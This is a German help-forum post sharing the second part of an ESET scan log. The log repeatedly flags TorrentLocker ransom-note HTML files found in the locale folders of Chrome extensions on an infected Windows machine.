sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\en_GB\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\en_US\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\es\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\es_419\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\et\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\eu\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\fi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\fil\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\fr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\he\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\hi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\hr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\hu\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\id\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\it\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\ja\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\ko\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\lt\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\lv\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\ms\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\nl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\no\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\pl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\pt_BR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\pt_PT\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\ro\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\ru\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\sk\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\sl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\sr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\sv\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\th\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\tr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\uk\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\vi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\zh_CN\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\zh_TW\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_metadata\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\ar\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\bg\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\ca\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\cs\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\da\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\de\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\el\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\en\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\es\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\fi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\fil\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\fr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\he\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\hi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\hr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\hu\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\id\wie_zum_Wiederherstellen_von_Dateien.html"

jazzerin

18.08.2016 14:45

2ter Teil des ESET-logfiles:

Code:

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\it\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\ja\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\ko\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\lt\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\lv\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\nl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\no\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\pl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\pt_BR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\pt_PT\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\ro\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\ru\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\sk\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\sl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.7_0\_locales\sr\wie_zum_Wiederherstellen_von_Dateien.html"

